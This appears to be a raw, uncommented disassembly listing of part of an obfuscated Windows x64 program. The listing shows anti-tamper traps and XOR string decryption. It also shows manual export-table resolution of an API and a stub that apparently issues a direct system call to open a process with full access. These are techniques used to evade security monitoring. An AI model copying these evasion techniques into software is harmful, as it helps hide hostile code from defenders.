cmp rax, rcx
je 0x14002656a
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002656a
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002658a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026634
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026614
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026614
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026634
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
call fcn.1400906e0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14003298c
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026711
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400266f1
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400266f1
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026711
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400267bb
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002679b
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002679b
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400267bb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026865
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026845
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026845
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026865
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026922
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026902
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026902
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026922
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400269cc
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400269ac
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400269ac
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400269cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026a7d
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026a5d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026a5d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026a7d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026b27
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026b07
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026b07
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026b27
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140031f24
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026c0e
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026bee
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026bee
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026c0e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140026f14
xor r14d, r14d
mov r8d, 0xead65452
mov rax, qword gs:[1]
cmp rax, r8
jne 0x140026ccb
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026fc7
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026fc7
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140026fc7
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140021c4c
mov r15d, eax
mov rcx, qword gs:[1]
mov r8d, 0xead65452
mov r9d, 0x12936b59
cmp rcx, r8
jne 0x140026d83
mov rcx, qword gs:[0x32]
xor rcx, r9
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x32]
xor rcx, r9
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x32]
xor rcx, r9
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140026fe7
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140026fe7
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140026fe7
test r15d, r15d
jne 0x140027047
mov rax, qword gs:[1]
cmp rax, r8
jne 0x140026e37
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0x1050], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0x1058], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0x1060], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140027007
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140027007
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140027007
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[1]
cmp rax, r8
jne 0x140026eeb
mov rax, qword gs:[0x32]
xor rax, r9
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x32]
xor rax, r9
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x32]
xor rax, r9
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140027027
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140027027
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140027027
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140026c35
xor r15d, r15d
mov r14d, 0xead65452
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140030d55
mov rax, qword gs:[0x32]
mov ecx, 0x12936b59
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026fa7
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026fa7
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030d55
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400976a8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xdf77a4d6
mov dword [rbp + 0x214], 0x9d28e56
mov dword [rbp + 0x218], 0xdb428569
mov word [rbp + 0x21c], Ordinal_211
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1db121133
movabs r9, 0x181feadfa4
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x303fd5bf48
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x1400270ea
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xe2517c81
mov dword [rbp + 0x84], 0x6052c7e2
mov word [rbp + 0x88], WSAStartup
mov r8, r14
movabs r9, 0x10b3a29ad4
mov r10d, 9
movabs r11, 0x21674535a8
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x140027188
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140027411
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140027411
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027411
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027411
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140027411
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140027283
inc rax
test edi, edi
jne 0x14002726e
test r8d, r8d
je 0x140027295
inc rdx
cmp rdx, rsi
jb 0x14002725d
jmp 0x140027411
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140027411
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002740e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400906e0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14003298c
lea rcx, [rbp + 0x7420]
call fcn.140031f24
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140031f24
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140027323
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400ba160
mov dword [0x1400e8644], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400e8640]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8648]
mov word [rdi + 8], ax
mov al, byte [0x1400e864a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400ba800
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e8644], r14d
test edi, edi
js 0x140027424
jmp 0x140027411
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002743a
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140021714
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[1]
ja 0x1400309cb
mov r15d, 0xead65452
cmp rax, r15
jne 0x140027502
mov rax, qword gs:[0x32]
movabs rbx, 0x810ab9c58de20e74
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400274e2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400274e2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027502
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400da9e0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400da8c0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x22ce3ad2
mov word [rbp + 0xbc4], 0xcd90
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
lea esi, [rax + 1]
movabs rbx, 0x1db121133
movabs r9, 0x4684ae8db8
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xba0]
xor dil, r8b
mov byte [rbp + r8 + 0xba0], dil
add r8, rsi
add r9, r13
add r10, 0x26
movabs rax, 0x8d095d1b70
cmp r9, rax
jb 0x140027565
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140003aac
mov rax, qword gs:[1]
cmp rax, r15
movabs rbx, 0x810ab9c58de20e74
jne 0x1400276b0
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027690
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027690
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400276b0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
call fcn.140021974
mov rcx, qword gs:[1]
test al, al
jne 0x140027a4a
cmp rcx, r15
jne 0x140027767
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027747
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027747
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027767
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xde
mov r10, r14
movabs r8, 0x1f8c332474
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x3f186648e8
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1db121133
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
add r10, rsi
add r8, r13
add r11, r12
cmp r8, r9
jb 0x1400277a4
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [str.8t4]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400da710]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_32
movabs r10, 0x398730154c
movabs r15, 0x1db121133
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
add r8, rsi
add r10, r13
add r9, 0x1f
movabs rax, 0x730e602a98
cmp r10, rax
jb 0x14002784b
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[1]
mov r15d, 0xead65452
cmp rax, r15
jne 0x140027987
mov rax, qword gs:[0x32]
mov ecx, 0x12936b59
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027967
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027967
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027987
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r15
jne 0x140031377
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027a2a
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027a2a
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031377
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
cmp rcx, r15
jne 0x140027b00
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027ae0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027ae0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027b00
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400da800]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x1db121133
movabs r9, 0x1db1211340
lea r10d, [rax + 0x10]
movabs r11, 0x8080808080808081
movabs r15, 0x3b62422680
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x248]
xor dil, r8b
mov byte [rbp + r8 + 0x248], dil
add r8, rsi
add r9, r13
add r10, 0x10
cmp r9, r15
jb 0x140027b47
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140021764
mov rax, qword gs:[1]
mov r15d, 0xead65452
cmp rax, r15
movabs rbx, 0x810ab9c58de20e74
jne 0x140027c79
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027c59
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027c59
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027c79
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
